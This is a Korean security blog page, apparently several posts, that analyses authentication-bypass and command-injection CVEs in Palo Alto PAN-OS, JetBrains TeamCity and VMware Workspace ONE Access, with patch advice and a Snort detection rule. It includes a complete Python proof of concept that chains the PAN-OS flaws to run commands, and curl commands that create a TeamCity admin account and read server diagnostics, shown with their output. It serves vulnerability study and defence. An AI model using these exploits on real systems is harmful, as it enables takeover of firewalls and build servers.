1. PAN-OS

- Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제

2. 주요내용 [1]

2.1 CVE-2024-0012 [2]

[사진 1] CVE-2024-0012

- Palo Alto Networks PAN-OS에 존재하는 인증 우회 취약점 (CVSS : 9.3)

> 공격자가 인증이나 사용자 상호작용 없이 관리자 권한을 얻을 수 있으며, 방화벽 설정에 무단 접근 및 제어가 가능
CVE-2024-9474와 연계하여 공격이 진행 중

영향받는 버전
- PAN-OS 11.2.4-h1 버전 미만
- PAN-OS 11.1.5-h1 버전 미만
- PAN-OS 11.0.6-h1 버전 미만
- PAN-OS 10.2.12-h2 버전 미만

 

- 취약점은 uiEnvSetup.php 스크립트에서 발생

> 스크립트는 HTTP 헤더 HTTP_X_PAN_AUTHCHECK가 "on" 또는 "off"인지 확인
> "on"으로 설정된 경우 스크립트는 사용자를 로그인 페이지로 리다이렉션
> 헤더가 기본 구성(/etc/nginx/conf/proxy_default.conf 파일)에서 "on"으로 설정되어 있으나, 이를 "off"로 변경하여 인증을 우회할 수 있음

if (
    $_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
    && $_SERVER['PHP_SELF'] !== '/CA/ocsp'
    &&  $_SERVER['PHP_SELF'] !== '/php/login.php'
    && stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
    $_SERVER['PAN_SESSION_READONLY'] = true;
    $ws = WebSession::getInstance($ioc);
    $ws->start();
    $ws->close();
    // these are horrible hacks.
    // This whole code should be removed and only make available to a few pages: main, debug, etc.
    if (
        !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/panorama_webui/php/api/index.php')
        && !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/firewall_webui/php/api/index.php')
    ) {
        if (Backend::quickSessionExpiredCheck()) {
            if (isset($_SERVER['QUERY_STRING'])) {
                Util::login($_SERVER['QUERY_STRING']);
            } else {
                Util::login();
            }
            exit(1);
        }
    }
}

 

[사진 2] HTTP_X_PAN_AUTHCHECK: off 및 200 OK

2.2 CVE-2024-9474 [3]

[사진 3] CVE-2024-9474

- Palo Alto Networks PAN-OS에 존재하는 권한 상승 취약점

영향받는 버전
- PAN-OS 11.2.4-h1 버전 미만
- PAN-OS 11.1.5-h1 버전 미만
- PAN-OS 11.0.6-h1 버전 미만
- PAN-OS 10.2.12-h2 버전 미만
- PAN-OS 10.1.14-h6 버전 미만

 

- 취약점은 createRemoteAppwebSession.php 스크립트에서 발생

> 해당 스크립트를 사용하면 공격자는 임의의 사용자를 만들고, PHPSESSID(인증 토큰)를 할당받을 수 있음
할당받은 인증 토큰을 이용해 악성 명령 실행 가능

[사진 3] PHPSESSID 획득

2.3 PoC [4]

- X-PAN-AUTHCHECK 헤더를 off로 설정하여 인증 우회

- createRemoteAppwebSession.php를 이용해 PHPSESSID 획득

#POC is written by Chirag Artani
import requests
import argparse
from urllib.parse import urljoin
import logging
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def setup_logging():
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s'
    )

class VulnChecker:
    def __init__(self, base_url, verify_ssl=False, timeout=30):
        self.base_url = base_url
        self.verify_ssl = verify_ssl
        self.timeout = timeout
        self.session = requests.Session()
        
        if not verify_ssl:
            urllib3.disable_warnings(InsecureRequestWarning)
            self.session.verify = False
    
    def make_request(self, method, endpoint, **kwargs):
        try:
            url = urljoin(self.base_url, endpoint)
            kwargs['timeout'] = self.timeout
            kwargs['verify'] = self.verify_ssl
            
            response = self.session.request(method, url, **kwargs)
            response.raise_for_status()
            return response
            
        except requests.exceptions.SSLError as e:
            logging.error(f"SSL Error: {str(e)}")
            logging.info("Try using --no-verify if the target uses self-signed certificates")
            return None
        except requests.exceptions.RequestException as e:
            logging.error(f"Request failed: {str(e)}")
            return None

    def create_initial_session(self):
        """Create initial session with command injection payload"""
        headers = {
            'X-PAN-AUTHCHECK': 'off',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        
        # Command injection payload to write system info to file
        data = {
            'user': '`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`',
            'userRole': 'superuser',
            'remoteHost': '',
            'vsys': 'vsys1'
        }
        
        response = self.make_request(
            'POST',
            '/php/utils/createRemoteAppwebSession.php/watchTowr.js.map',
            headers=headers,
            data=data
        )
        
        if response and 'PHPSESSID' in response.cookies:
            phpsessid = response.cookies['PHPSESSID']
            logging.info(f"Initial session created: {phpsessid}")
            return phpsessid
        return None

    def trigger_execution(self, phpsessid):
        """Trigger command execution via index page"""
        headers = {
            'Cookie': f'PHPSESSID={phpsessid}',
            'X-PAN-AUTHCHECK': 'off',
            'Connection': 'keep-alive'
        }
        
        response = self.make_request(
            'GET',
            '/index.php/.js.map',
            headers=headers
        )
        
        if response:
            logging.info(f"Trigger response status: {response.status_code}")
            if response.text:
                logging.info(f"Response content length: {len(response.text)}")
            return True
        return False

    def verify_execution(self):
        """Verify command execution by checking created file"""
        response = self.make_request(
            'GET',
            '/unauth/watchTowr.php'
        )
        
        if response and response.status_code == 200:
            logging.info("Command execution verified")
            if response.text:
                logging.info(f"System info: {response.text.strip()}")
            return True
        return False

def main():
    parser = argparse.ArgumentParser(description='Vulnerability Check Script')
    parser.add_argument('--url', required=True, help='Target base URL (http:// or https://)')
    parser.add_argument('--no-verify', action='store_true', help='Disable SSL verification')
    parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
    args = parser.parse_args()
    
    setup_logging()
    logging.info(f"Starting vulnerability check against {args.url}")
    
    checker = VulnChecker(
        args.url,
        verify_ssl=not args.no_verify,
        timeout=args.timeout
    )
    
    # Step 1: Create session with command injection payload
    phpsessid = checker.create_initial_session()
    if not phpsessid:
        logging.error("Session creation failed")
        return
    
    # Step 2: Trigger command execution
    if checker.trigger_execution(phpsessid):
        logging.info("Command execution triggered successfully")
        
        # Step 3: Verify the result
        if checker.verify_execution():
            logging.info("Verification completed successfully")
        else:
            logging.error("Verification failed - file not created or accessible")
    else:
        logging.error("Command execution trigger failed")

if __name__ == "__main__":
    main()

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5][6]

제품명 취약점 영향받는 버전 해결 버전
PAN-OS CVE-2024-0012 PAN-OS 11.2.4-h1 버전 미만 PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만 PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만 PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만 PAN-OS 10.2.12-h2 및 이후 버전
CVE-2024-9474 PAN-OS 11.2.4-h1 버전 미만 PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만 PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만 PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만 PAN-OS 10.2.12-h2 및 이후 버전
PAN-OS 10.1.14-h6 버전 미만 PAN-OS 10.1.14-h6 및 이후 버전

 

- 권고 사항

① 접근 제한 : 관리 인터페이스에 대한 접근을 신뢰할 수 있는 내부 네트워크로 제한 및 다중 인증(MFA)을 구현

> 특정 IP 주소로만 접속이 가능하게 하면 CVSS 9.3에서 7.5로 감소

② 시스템 모니터링: 의심스러운 활동을 실시간으로 감지하고 대응하기 위한 지속적인 모니터링

③ 관리자 교육: 시스템 관리자들이 최신 보안 권고 사항을 숙지하고, 신속한 업데이트의 중요성을 이해하도록 교육

4. 참고

[1] https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0012
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-9474
[4] https://github.com/Sachinart/CVE-2024-0012-POC
[5] https://security.paloaltonetworks.com/CVE-2024-0012
[6] https://security.paloaltonetworks.com/CVE-2024-9474
[7] https://www.picussecurity.com/resource/blog/palo-alto-cve-2024-0012-and-cve-2024-9474-vulnerabilities-explained
[8] https://www.boannews.com/media/view.asp?idx=134400&page=9&kind=1
[9] https://www.boannews.com/media/view.asp?idx=134571&page=1&kind=1
[10] https://www.dailysecu.com/news/articleView.html?idxno=161318
[11] https://www.dailysecu.com/news/articleView.html?idxno=161409

1.TeamCity

- JetBrains社에서 개발한 CI/CD(Continuous Integration/Continuous Delivery)

 

2. 취약점

2.1 CVE-2024-27198

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-27198 [1]

 

- 원격의 공격자가 관리자 권한을 획득할 수 있는 인증 우회 취약점 (CVSS: 9.8)

 영향받는 버전: TeamCity 2023.11.4 이전 버전

 

-  jetbrains.buildServer.controller.BaseController 클래스가 특정 요청을 처리하는 방식에의해 발생 [2]

> 클래스의 handleRequestInternal 메서드로 요청을 서비스할 때 리다이렉션이 발생하지 않으면, updateViewIfRequestHasJspParameter 메서드 호출

public abstract class BaseController extends AbstractController {
    
    // ...snip...
    
    public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            ModelAndView modelAndView = this.doHandle(request, response);
            if (modelAndView != null) {
                if (modelAndView.getView() instanceof RedirectView) {
                    modelAndView.getModel().clear();
                } else {
                    this.updateViewIfRequestHasJspParameter(request, modelAndView);
                }
            }
    // ...snip...

 

- updateViewIfRequestHasJspParameter 메서드의 isControllerRequestWithViewName 변수는 아래 조건으로 설정됨

> ① 현재 모델 AndView 모두 이름이 있고 ② 현재 요청의 servlet 경로가 .jsp로 끝나지 않으면 true로 설정

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {

    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
        
    String jspFromRequest = this.getJspFromRequest(request);
        
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
        modelAndView.setViewName(jspFromRequest);
    }
}

 

- 다음으로 getJspFromRequest 메서드 호출되며, 호출의 결과값이 ModelAndView.setViewName 메서드로 전달

> ① jsp로 문자열이 끝나는지 ② admin/ 문자열을 포함하지 않는지 확인

protected String getJspFromRequest(@NotNull HttpServletRequest request) {
    String jspFromRequest = request.getParameter("jsp");
        
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

 

- 공격자는 /app/rest/server URL과 3 가지 조건을 설정해 공격을 수행

① 404 응답을 생성하는 인증되지 않은 리소스 요청 Ex. /hax

② 인증된 URI 경로의 값이 포함된 jsp 매개변수 전달 Ex. ?jsp=/app/rest/server

③ 임의의 URI 경로가 .jsp로 끝나도록 지정 Ex. ;.jsp

Exploit URL: /hax?jsp=/app/rest/server;.jsp
========================================
관리자 계정 생성 Exploit
C:\Users\sfewer>curl -ik hxxp://IP/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>

 

2.2 CVE-2024-27199

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-27199 [3]

 

- 원격의 공격자가 관리자 작업을 수행할 수 있는 경로 탐색 취약점

 영향받는 버전: TeamCity 2023.11.4 이전 버전

 

- 다음 세 경로에 대해 인증 과정이 적용되지 않음 [4]

① /res/
② /update/
③ /.well-known/acme-challenge/

 

- 공격자는 위 세 경로를 이용해 인증을 우회하여 서버의 정보 등을 획득할 수 있음

C:\Users\sfewer>curl -ik --path-as-is hxxp://IP/res/../admin/diagnostic.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER

...snip...

          <div>Java version: 17.0.7</div>
          <div>Java VM info: OpenJDK 64-Bit Server VM</div>
          <div>Java Home path: c:\TeamCity\jre</div>

            <div>Server: Apache Tomcat/9.0.83</div>

          <div>JVM arguments:
            <pre style="white-space: pre-wrap;">--add-opens=jdk.management/com.sun.management.internal=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=640M --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=c:\TeamCity\bin\..\conf\logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib:jdwp=transport=dt_socket,server=y,address=4444,suspend=n -Xmx1024m -Xrs -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j2.configurationFile=file:../conf/teamcity-server-log4j.xml -Dteamcity_logs=c:\TeamCity\bin\..\logs -Dignore.endorsed.dirs= -Dcatalina.base=c:\TeamCity\bin\.. -Dcatalina.home=c:\TeamCity\bin\.. -Djava.io.tmpdir=c:\TeamCity\bin\..\temp </pre>
          </div>

 

3. 대응방안

- 최신버전 업데이트 적용 [5]

- 비인가 관리자 계정 생성, 시스템 설정 변경 등 점검

- 탐지 패턴 등록 및 모니터링

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-27198
[2] https://attackerkb.com/topics/K3wddwP3IJ/cve-2024-27198/rapid7-analysis
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-27199
[4] https://attackerkb.com/topics/ADUie1mrpK/cve-2024-27199/rapid7-analysis
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71360&menuNo=205020
[6] https://www.boannews.com/media/view.asp?idx=127389&page=1&kind=4

1. TeamCity

- JetBrains社에서 개발한 CI/CD(Continuous Integration/Continuous Delivery)

 

1.1 CI/CD (Continuous Integration/Continuous Delivery) [1][2]

- 소프트웨어 제공을 위한 일반적인 과정을(빌드(Build)-테스트(Test)-릴리스(Release)-배포(Deploy)) 자동화한 것

애플리케이션 개발 단계부터 배포까지 모든 단계를 자동화하여 효율적이고 빠르게 사용자에게 배포할 수 있음

 

1.1.1 CI (Continuous Integration, 지속적 통합)

- 빌드/테스트 자동화 과정

- 코드 변경 사항이 정기적으로 빌드 및 테스트되어 공유 리포지토리에 통합

커밋할 때마다 빌드와 일련의 자동 테스트가 이루어져 동작을 확인하고 변경으로 인한 문제가 없도록 보장

> 여러 명의 개발자가 동시에 코드 작업을 할 경우 발생할 수 있는 충돌 문제와 시간이 오래걸리는 문제를 해결

> 소스/버전 관리 시스템에 대한 변경 사항을 정기적으로 커밋하여 모든 사람들에게 동일 작업 기반을 제공

 

1.1.2 CD (Continuous Delivery, 지속적 제공)

- 배포 자동화 과정

- Continuous Deployment(지속적인 배포)를 의미하기도 하며, 두 용어는 상호 교환적으로 사용

파이프라인의 이전 단계(CI 단계)를 모두 성공적으로 통과하면 수동 개입 없이 자동으로 배포

> 품질 저하 없이 최대한 빨리 사용자에게 새로운 기능을 제공할 수 있음

 

[사진 1] CI/CD

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2023-42793 [2]

- JetBrains TeamCity 2023.05.4 이전 버전에서 발생하는 인증 우회 취약점

> 인증 우회 후 원격 명령을 실행할 수 있게됨

- 다이아몬드슬릿(Diamond Sleet)과 오닉스슬릿(Onyx Sleet)으로 불리는 북한 APT 조직들이 활발히 익스플로잇 하는 것으로 조사

> 취약점을 악용해 백도어와 멀웨어를 피해자 시스템에 유포해 모니터링, 정보 탈취 등 악성 행위 수행

※ 다이아몬드슬릿: 전 세계 IT, 미디어, 국방 분야 공략
※ 오닉스플릿: 미국, 한국, 인도의 IT, 국방 분야 공략

영향받는 버전
- JetBrains TeamCity 2023.05.4 이전 버전
※ TeamCity 버전은 로그인 페이지 하단에 표시되어, 공격자들은 손 쉽게 버전을 확인할 수 있음

 

2.1 취약점 상세 [4][5]

- TeamCity는 외부 응용 프로그램을 통합하기 위한 REST API를 제공

> /app/rest/users/<userLocator>/tokens 경로를 통해 사용자 인증 토큰을 생성

> {name} 매개변수를 통해 토큰에 대한 이름을 추가로 생성할 수 있음

 

[사진 3] 사용자 인증 토큰 생성

 

- TeamCity는 요청 인터셉터(RequestInterceptors 클래스)를 사용해 모든 HTTP 요청에 대해 특정 작업을 수행

> 특정 작업 중 하나가 권한 부여 매커니즘

 

- 요청이 발생하면 해당 클래스의 preHandle 메서드가 호출

> preHandle 메서드requestPreHandlingAllowed를 호출요청이 사전 처리에 적합한지 여부를 결정

 

[사진 4] preHandle

 

- requestPreHandlingAllowed 메서드요청된 경로가 사전 정의된 경로 목록과 일치 여부 확인

 

[사진 5] requestPreHandlingAllowed

 

- RequestInterceptors 클래스에는 두 개의 사전 정의된 표현식이 존재

① /**/RPC2

② /app/agents/**

 

[사진 6] 사전 정의된 경로 표현식

 

- 공격자는 경로 "/**/RPC2"를 만족하는 요청을 전송할 경우 인증을 우회할 수 있게됨 [6]

> [사진 3]에 의해 /app/rest/users/<userLocator>/tokens/{name}의 형태로 요청

> <userLocator>은 인증 토큰으로, 사용자마다 고유한 값을 가지는 것으로 판단됨 (ex. admin 계정의 경우 id:1)

> [사진 4] ~ [사진 6]에 의해 {name} 매개변수의 값으로 RPC2 지정

> 공격자의 요청은 /app/rest/users/id:1/tokens/RPC2 형태로, 서버는 관리자 권한을 지닌 새로 생성된 토큰을 반환

> 공격자는 반환된 토큰을 이용해 새로운 관리자 계정을 생성하는 등 추가 익스플로잇이 가능해짐

※ [사진 4]의 requestPreHandlingAllowed 메서드가 false를 반환하며, ! 연산에 의해 true가 되어 if 문을 만족해 이후 권한 부여 등 인증 과정을 우회할 수 있게됨

 

[사진 7] 과정 요약

 

- 취약점 시연 영상 [6]

 

[영상 1] 취약점 시연 동영상

 

3. 대응방안

① 최신 버전 업데이트 적용 [7]

> 23.09.18 취약점을 수정을 포함한 2023.05.04 버전 배포

> 사전 정의된 요청 경로 중 /**/RPC2를 제거

제품명 영향받는 버전 해결 버전
JetBrains TeamCity 2023.05.04 이전 버전 2023.05.04 

 

[사진 8] 수정 내역

 

4. 참고

[1] https://seosh817.tistory.com/104
[2] https://jud00.tistory.com/entry/CICD%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%BC%EA%B9%8C
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-42793
[4] https://www.sonarsource.com/blog/teamcity-vulnerability/#indicators-of-compromise
[5] https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis
[6] https://www.youtube.com/watch?v=O2p-6I8RK5c
[7] https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71212
[9] https://www.boannews.com/media/view.asp?idx=122862&page=1&kind=1

1. VMware 

- 클라우드 컴퓨팅 및 가상화 소프트웨어를 판매하는 기업

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-31656

- VM 제품군의 UI에 네트워크 액세스 권한이 있는 공격자가 인증 없이 관리자 권한을 얻을 수 있는 취약점 (CVSS 9.8)

영향받는 버전
- VMware Workspace ONE Access 21.08.0.0
- VMware Workspace ONE Access 21.08.0.1
- VMware Workspace ONE Access Connector 22.05
- VMware Workspace ONE Access Connector 21.08.0.0
- VMware Workspace ONE Access Connector 21.08.0.1

- VMware Identity Manager 3.3.4 ~ 3.3.6
- VMware Identity Manager Connector 3.3.4 ~ 3.3.6
- VMware Identity Manager Connector 19.03.0.1

- VMware vRealize Automation 8.x
- VMware vRealize Automation 7.6

- VMware Cloud Foundation (vIDM) 4.2.x, 4.3.x, 4.4.x
- VMware Cloud Foundation (vRA) 3.x

- vRealize Suite Lifecycle Manager (vIDM) 8.x

 

2.1 분석

- VMware 제품의 JAVA 웹에는 다양한 필터 계층이 존재함

- 그 중 UrlRewriteFilter 계층사전 정의된 규칙을 기반으로 내부 서블릿에 요청을 매핑하는 역할을 수행(WEB-INF/urlrewrite.xml)

 

- 아래 [사진 2]에서 처럼 요청 중 정규식 "^/t/([^/])($|/)(((?!META-INF| WEB-INF).))$"에 일치하는 경로가 "/$3" 에 매핑됨.

※ WEB-INF 및 META-INF 폴더의 파일에 접근 가능한 CVE-2021-26085, CVE-2021-26086 취약점과 유사

- 정규식에의해 "/SAAS/t/_/;/WEB-INF/web.xml" 와 같이 요청하면 "/WEB-INF/web.xml"에 매핑됨

[사진 2] UrlRewriteFilter 규칙 및 매핑

 

- 이후 UrlRewrite.NormalRewrittenUrl.doRewrite() > getRequestDispatcher() 순으로 호출

- getRequestDispatcher()는 한 서블릿에서 다른 서블릿으로 요청을 포워드하는 기능을 제공

- 정규식에 의해 매핑된 /WEB-INF/web.xml를 인자로 사용하여 해당 자원에 액세스가 가능해짐

※ [사진 3]에서 CVE-2022-22972(VMware 인증 우회 취약점)에 대해 적용된 패치

[사진 3] 동작과정 정리

 

- 공격자들을 /SAAS/t/_/;/auth/login/embeddedauthbroker/callback URL로 요청하여 Exploit 수행

[사진 4] PoC 화면

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 패치 적용

 

VMware Knowledge Base

 

kb.vmware.com

 

3.2 네트워크 측면

① 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용

- /SAAS/t/_/;/

alert tcp any any -> any any (msg:"VMware Auth Bypass Detected (CVE-2022–31656)"; content:"POST /SAAS/t/_/;/"; depth:17;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-31656

https://kb.vmware.com/s/article/89096

https://www.vmware.com/security/advisories/VMSA-2022-0021.html

- https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd

- https://research.kudelskisecurity.com/2022/08/10/critical-vmware-authentication-bypass-and-rce-vulnerabilities-cve-2022-31656-and-cve-2022-31659/

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66856&queryString=cGFnZT0yJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9 

+ Recent posts